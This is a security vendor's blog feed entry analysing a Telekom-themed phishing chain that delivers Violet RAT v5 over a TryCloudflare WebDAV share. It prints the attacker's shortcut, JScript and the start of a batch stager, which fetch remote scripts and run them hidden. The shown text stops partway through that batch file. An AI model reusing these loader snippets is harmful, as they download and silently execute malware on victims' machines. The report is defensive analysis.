<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Telekom Security</title>
  <link href="https://github.security.telekom.com/atom.xml" rel="self"/>
  <link href="https://github.security.telekom.com/"/>
  <id>https://github.security.telekom.com/</id>
  <updated>2026-07-07T09:47:07+00:00</updated>
  <author>
    <name>Telekom Security</name>
  </author>

  
  <entry>
    <title>From Dropbox to Violet RAT v5: A Multi-Stage WebDAV Delivery Chain</title>
    <link href="https://github.security.telekom.com/2026/07/rodent_weed.html"/>
    <id>https://github.security.telekom.com/2026/07/rodent_weed.html</id>
    <updated>2026-07-07T00:00:00+00:00</updated>
    <summary type="html">Threat activity clusters rarely remain static over time. Delivery methods, lure formats, and payload choices often change between campaigns, while the underlying tradecraft remains stable enough to support tracking and detection. This report covers activity that Telekom Security tracks as Rodent Weed. We have monitored this cluster since 2024 and across observed campaigns, the first-stage wrapper has varied, including SVG attachments, HTML files, and, more recently, Dropbox links. Some campaigns presented victims with a convincing decoy PDF, while others omitted the decoy entirely. The final payload has also rotated across commodity remote access trojans (RATs) and information stealers. Despite these variations, the core execution chain has remained consistent. A document-themed lure transitions the victim from the browser to Windows Explorer, where a WebDAV share is accessed via a temporary TryCloudflare tunnel. A shortcut or script then initiates the next stage, batch files prepare the environment, a portable Python runtime is deployed to disk, and the final payload is executed in memory.</summary>
    <content type="html">&lt;p&gt;Threat activity clusters rarely remain static over time. Delivery methods, lure formats, and payload choices often change between campaigns, while the underlying tradecraft remains stable enough to support tracking and detection. 
This report covers activity that Telekom Security tracks as Rodent Weed. We have monitored this cluster since 2024 and across observed campaigns, the first-stage wrapper has varied, including SVG attachments, HTML files, and, more recently, Dropbox links. Some campaigns presented victims with a convincing decoy PDF, while others omitted the decoy entirely. The final payload has also rotated across commodity remote access trojans (RATs) and information stealers.&lt;/p&gt;

&lt;p&gt;Despite these variations, the core execution chain has remained consistent. A document-themed lure transitions the victim from the browser to Windows Explorer, where a WebDAV share is accessed via a temporary TryCloudflare tunnel. A shortcut or script then initiates the next stage, batch files prepare the environment, a portable Python runtime is deployed to disk, and the final payload is executed in memory. &lt;!--more--&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;rodent-weed---cluster-definition-and-observed-tradecraft&quot;&gt;Rodent Weed - Cluster Definition and Observed Tradecraft&lt;/h2&gt;

&lt;p&gt;Rodent Weed is the tracking name Telekom Security uses for a recurring phishing operation observed since 2024. The activity has continued to evolve over time, with changes to lure formats, delivery wrappers, and final payloads. This report represents the latest checkpoint in that ongoing tracking effort.&lt;/p&gt;

&lt;p&gt;Across observed campaigns, Rodent Weed has primarily varied the initial wrapper and final payload, while the intermediate staging and execution workflow has remained largely consistent.&lt;/p&gt;

&lt;p&gt;In 2024, the activity was observed using SVG attachments as the initial wrapper. These files contained a small amount of Base64-encoded JScript that displayed a decoy PDF and directed the victim to a WebDAV share opened in Windows Explorer. From there, a .pdf.lnk file using an invoice-themed filename downloaded Python and executed the payload.
In early 2025, the operator introduced new wrapper formats in quick succession. One campaign used an HTML file assessed as likely abusing CVE-2024-38213 to bypass Mark-of-the-Web protections before reaching a similar WebDAV share and deploying both DcRAT and AsyncRAT. Another campaign used a ZIP archive containing a .url shortcut, which led through a .pdf.lnk file and VBScript before delivering XWorm and AsyncRAT.&lt;/p&gt;

&lt;p&gt;By mid-2025, Dropbox began appearing as the hosting infrastructure, while the campaigns continued to rotate across commodity RAT payloads.&lt;/p&gt;

&lt;p&gt;By December 2025 the chain had grown an extra hop or two, a Dropbox &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.pdf.zip&lt;/code&gt; opening a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.pdf.lnk&lt;/code&gt;, then a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.wsh&lt;/code&gt;, a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.wsf&lt;/code&gt;, VBScript, and a batch loader, and it finished by dropping four binaries at once, a stealer, two copies of XWorm, and AsyncRAT. In March 2026 a Telekom-themed wave put a convincing decoy PDF back in front of the victim and labelled its payloads by role, stager, startup, and malware.&lt;/p&gt;

&lt;p&gt;Across these waves, the intermediate staging and execution workflow remained largely consistent. Explorer opens a WebDAV share over a TryCloudflare tunnel, a script and batch chain unrolls, a portable Python runtime lands, and Donut runs the real payload in memory. Only the wrapper and the final RAT typically change.&lt;/p&gt;

&lt;p&gt;This recurring pattern is also visible outside our own telemetry. Other vendors have independently documented overlapping delivery chains over the past year. Forcepoint X-Labs described the Dropbox to TryCloudflare WebDAV to Python variant in early 2025. Trend Micro published a multi-stage analysis in January 2026 that lines up closely with what we have seen, though we did not observe the browser cookie injection they reported. This difference reinforces that individual waves can vary in implementation details. Securonix documented the embedded Python loader and in-memory injection into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;explorer.exe&lt;/code&gt; under the name VOID#GEIST, and SonicWall analyzed a Violet RAT campaign built on the same multi-stage Python loader, calling home on the same C2 port we observed here. Links are in &lt;a href=&quot;#related-reporting&quot;&gt;Related reporting&lt;/a&gt;.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;key-observations&quot;&gt;Key Observations&lt;/h2&gt;

&lt;p&gt;The campaign analyzed in this report was observed in late March 2026 and used Telekom invoice-themed phishing emails to deliver Violet RAT v5. The execution chain from initial lure to C2 communication is described below.&lt;/p&gt;

&lt;p&gt;The victim received a phishing email containing a link to a Dropbox-hosted ZIP archive, which contained a single Windows Internet Shortcut (.url). When opened, the shortcut directed Windows Explorer to a WebDAV share exposed through a temporary TryCloudflare tunnel, where a PDF-disguised shortcut initiated the next stage of execution. From that point, the chain progressed through Windows Script Host (WSH), JScript, batch files, an embedded Python runtime including a Python loader, and Donut-based injection into explorer.exe.&lt;/p&gt;

&lt;p&gt;The Python loader established persistence via the Startup folder and ultimately delivered Violet RAT v5, which connected to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;91.219.238[.]140:7000&lt;/code&gt;, transmitted an encrypted system profile, and then entered a recurring heartbeat loop.&lt;/p&gt;

&lt;p&gt;Two aspects distinguish this case from previous waves. First, the final payload is Violet RAT v5, marking the first time we have observed this RAT at the end of a Rodent Weed execution chain. Second, the decoy PDF is absent. Earlier Telekom-themed campaigns usually opened a convincing decoy PDF to reduce suspicion while the chain ran, as recently as the February wave. Instead of presenting a benign-looking PDF, the analyzed case proceeds directly to the next execution stage after the victim opens the shortcut. Despite this behavioural change, the subsequent execution chain remained consistent with previously observed Rodent Weed activity.&lt;/p&gt;

&lt;p&gt;One detail is worth flagging early. The phishing email used a Telekom-themed lure, while the file hosted on the WebDAV share was named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DKM_00KS0095283.PDF.lnk&lt;/code&gt;. Previous Rodent Weed analysis has also identified filenames that did not align with the lure theme, including a DATEV-themed filename for example &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DATEV-Rechnung-Nr.381082026.wsh&lt;/code&gt;. It suggests the operator reused the same infrastructure and file set across more than one lure.&lt;/p&gt;

&lt;p&gt;Figure 1 summarizes the observed infection chain, from the initial Telekom-themed lure to Violet RAT v5 execution and C2 communication.&lt;/p&gt;

&lt;p class=&quot;space-before-md&quot;&gt;&lt;img src=&quot;/assets/images/RodentWeed/infection-chain.svg&quot; alt=&quot;Infection chain from Telekom invoice lure to Violet RAT v5&quot; class=&quot;img-large&quot; /&gt;&lt;/p&gt;

&lt;p class=&quot;img-caption&quot;&gt;Figure 1. Infection chain, from phishing lure to Violet RAT v5&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;chain-of-execution&quot;&gt;Chain of Execution&lt;/h2&gt;

&lt;h3 id=&quot;from-the-invoice-mail-to-a-webdav-folder&quot;&gt;From the invoice mail to a WebDAV folder&lt;/h3&gt;

&lt;p&gt;The observed email impersonated Deutsche Telekom with an invoice lure and link to a ZIP archive (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Telekom_3426503572.zip&lt;/code&gt;) hosted on Dropbox. The archive did not contain an invoice but a single Windows Internet Shortcut file (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.url&lt;/code&gt;), leaving the victim with only one visible item which further reinforced the appearance that a document had been delivered.&lt;/p&gt;

&lt;p&gt;Subject: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Ihre Telekom Festnetz-Rechnung Oktober 2025 (Buchungskonto:5605355625)&lt;/code&gt;&lt;br /&gt;
Sender: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Telekom Deutschland GmbH {NoReply} &amp;lt;brendawolfe403[@]gasatmail[.]site&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Figure 2 shows the observed Telekom-themed phishing email, which included fabricated invoice-related identifiers such as customer and invoice numbers to increase credibility. These lure-specific values are redacted in the screenshot.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/RodentWeed/mail.png&quot; alt=&quot;Phishing email with Telekom invoice lure&quot; class=&quot;img-xs&quot; /&gt;&lt;/p&gt;

&lt;p class=&quot;img-caption&quot;&gt;Figure 2. Telekom-themed phishing email that started the analyzed chain&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.url&lt;/code&gt; file pointed to a WebDAV resource using the Windows &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file://&lt;/code&gt; URL format and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@SSL&lt;/code&gt; suffix.&lt;/p&gt;

&lt;div class=&quot;language-ini highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nn&quot;&gt;[{000214A0-0000-0000-C000-000000000046}]&lt;/span&gt;
&lt;span class=&quot;py&quot;&gt;Prop3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;19,9&lt;/span&gt;
&lt;span class=&quot;nn&quot;&gt;[InternetShortcut]&lt;/span&gt;
&lt;span class=&quot;py&quot;&gt;IDList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;
&lt;span class=&quot;py&quot;&gt;HotKey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;0&lt;/span&gt;
&lt;span class=&quot;py&quot;&gt;URL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;file://move-friendly-international-observed.trycloudflare[.]com@SSL/DavWWWRoot/dokumente?config=eyJwYXRoIjoiY29uZmlkZW50aWFsIiwibW9kZSI6InJlYWQifQ%3D%3D&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p class=&quot;code-caption&quot;&gt;File 1. Telekom_3426503572.url&lt;/p&gt;

&lt;p class=&quot;space-before-sm&quot;&gt;The URL also included a Base64-encoded JSON parameter.&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;path&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;confidential&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;mode&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;read&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p class=&quot;space-before-sm&quot;&gt;This parameter does not appear to be required for standard WebDAV access. Based on the observed behaviour, it is likely decorative, operator-specific, or intended as light obfuscation.&lt;/p&gt;

&lt;p&gt;The important part is how the chain reduces user suspicion and avoids browser-mediated download handling. The victim never lands on a normal web page. Windows Explorer opens the remote WebDAV location and presents it as if it were an ordinary folder. The cloud link is presented as a local-looking file browser, while browser-mediated download prompts and reputation checks are less visible to the victim.&lt;/p&gt;

&lt;p&gt;Hosting the share behind &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;trycloudflare.com&lt;/code&gt; lets the operator expose a backend service over a temporary HTTPS tunnel without ever registering their own domain. Blocking the resolved Cloudflare edge IPs is not recommended, as this is unlikely to remain effective and may disrupt unrelated legitimate services that rely on the same shared Cloudflare infrastructure. Domain pattern, URL pattern, WebDAV, and process chain detections are far more durable. During manual analysis, the WebDAV endpoint exposed a directory listing, as shown in Figure 3. This allowed the hosted files to be reviewed directly before reconstructing the subsequent execution chain.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/RodentWeed/1_webdav.png&quot; alt=&quot;First WebDAV directory view&quot; class=&quot;img-small&quot; /&gt;&lt;/p&gt;

&lt;p class=&quot;img-caption&quot;&gt;Figure 3. WebDAV directory listing observed during manual analysis&lt;/p&gt;

&lt;h3 id=&quot;the-pdf-disguised-as-a-shortcut&quot;&gt;The PDF disguised as a shortcut&lt;/h3&gt;

&lt;p&gt;The WebDAV share presented a single visible file, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DKM_00KS0095283.PDF.lnk&lt;/code&gt;. The name and icon were chosen to look like a PDF document but instead it was a Windows Shortcut that executed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wscript.exe&lt;/code&gt; to run a JScript file hosted on the same WebDAV folder. Separately, the same TryCloudflare-backed WebDAV infrastructure also exposed additional files in the parent directory. Figure 4 shows this parent directory view, which was reviewed during manual analysis and helped identify files used by later stages of the chain.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/RodentWeed/2_webdav.png&quot; alt=&quot;Second WebDAV directory view showing the fake PDF LNK&quot; class=&quot;img-small&quot; /&gt;&lt;/p&gt;

&lt;p class=&quot;img-caption&quot;&gt;Figure 4. Parent WebDAV directory exposing additional files used in the execution chain&lt;/p&gt;

&lt;p&gt;The shortcut metadata confirms that the apparent PDF was built to invoke Windows Script Host and execute a remote script from the same WebDAV location.&lt;/p&gt;

&lt;p&gt;Relevant shortcut metadata&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Field&lt;/th&gt;
      &lt;th&gt;Value&lt;/th&gt;
      &lt;th&gt;Interpretation&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Arguments&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;//B \\move-friendly-international-observed.trycloudflare[.]com@SSL\DavWWWRoot\oa.wsh&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Executes a WSH file from WebDAV&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Icon index&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;11&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Visual masquerading as a PDF&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Working directory&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C:\Windows\System32&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Ensures &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wscript.exe&lt;/code&gt; resolves correctly&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Machine ID&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ec2amaz-vjnf8l9&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Consistent with an AWS EC2 Windows hostname pattern&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p class=&quot;space-before-sm&quot;&gt;The machine ID may provide a useful pivot point for further investigation. However, as it can be manipulated, it should be considered a low-confidence indicator. We currently have no supporting data to validate or correlate this identifier with other artefacts.&lt;/p&gt;

&lt;h3 id=&quot;a-short-hop-through-wsh-and-jscript&quot;&gt;A short hop through WSH and JScript&lt;/h3&gt;

&lt;p&gt;The first script stage was &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;oa.wsh&lt;/code&gt;, a small redirection layer that simply pointed to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ccv.js&lt;/code&gt; on the same WebDAV share.&lt;/p&gt;

&lt;div class=&quot;language-ini highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nn&quot;&gt;[ScriptFile]&lt;/span&gt;
&lt;span class=&quot;py&quot;&gt;Path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;move-friendly-international-observed.trycloudflare[.]com@SSL&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\D&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;avWWWRoot&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\c&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;cv.js&lt;/span&gt;
&lt;span class=&quot;nn&quot;&gt;[Options]&lt;/span&gt;
&lt;span class=&quot;py&quot;&gt;Timeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p class=&quot;code-caption space-before-sm&quot;&gt;File 2. oa.wsh&lt;/p&gt;

&lt;p&gt;This redirection keeps the shortcut command line concise and separates the primary execution logic from the LNK file. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ccv.js&lt;/code&gt; script then used Windows Script Host automation objects to copy &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;final.bat&lt;/code&gt; from the WebDAV share to the local temporary directory and execute it in a hidden window.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ActiveXObject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;WScript.Shell&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
   &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;target&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ExpandEnvironmentStrings&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;%TEMP%&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;r.bat&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
   &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ActiveXObject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Scripting.FileSystemObject&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CopyFile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
       &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\\\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;move-friendly-international-observed.trycloudflare[.]com@SSL&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;DavWWWRoot&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;final.bat&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
       &lt;span class=&quot;nx&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
   &lt;span class=&quot;nx&quot;&gt;Run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;target&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p class=&quot;code-caption&quot;&gt;File 3. ccv.js&lt;/p&gt;

&lt;p class=&quot;space-before-sm&quot;&gt;By this point the process chain looks like this, which is itself a useful detection trail.&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;explorer.exe
  -&amp;gt; wscript.exe
    -&amp;gt; ccv.js from WebDAV
      -&amp;gt; %TEMP%\r.bat
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;batch-staging-and-a-portable-python-runtime&quot;&gt;Batch staging and a portable Python runtime&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;final.bat&lt;/code&gt; relaunched itself hidden through PowerShell and created its working directory in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\&lt;/code&gt; as shown in the code snippet below.&lt;/p&gt;

&lt;div class=&quot;language-batch highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;@echo &lt;span class=&quot;na&quot;&gt;off&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;~1&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;hidden&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;main&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;powershell&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;-WindowStyle &lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;Hidden&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;-Command &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Start-Process &apos;&lt;/span&gt;&lt;span class=&quot;vm&quot;&gt;%~f0&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&apos; -ArgumentList &apos;hidden&apos; -WindowStyle Hidden&quot;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;exit&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;:main&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;PYTHON_VERSION&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;3&lt;/span&gt;.11.8
&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;ARCH&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;amd64&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;BASEDIR=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%APPDATA%&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;\Microsoft\Windows\Crypto\RSA\Cache&quot;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;exist&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%BASEDIR%&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;mkdir&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%BASEDIR%&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;ZIPFILE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%BASEDIR%&lt;/span&gt;\python_embed.zip
&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;PACKAGE_ZIP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%BASEDIR%&lt;/span&gt;\files.zip
&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;PERSISTENCE_SCRIPT&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%BASEDIR%&lt;/span&gt;\add_to_startup.bat
&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;GETPIP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%BASEDIR%&lt;/span&gt;\get&lt;span class=&quot;na&quot;&gt;-pip&lt;/span&gt;.py
&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;LOGFILE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%BASEDIR%&lt;/span&gt;\setup.log
&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;SERVER_URL&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;https&lt;/span&gt;://move&lt;span class=&quot;na&quot;&gt;-friendly-international-observed&lt;/span&gt;.trycloudflare.com
&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;PACKAGE_FILE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;files&lt;/span&gt;.zip
&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;PERSISTENCE_FILE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;add_to_startup&lt;/span&gt;.bat
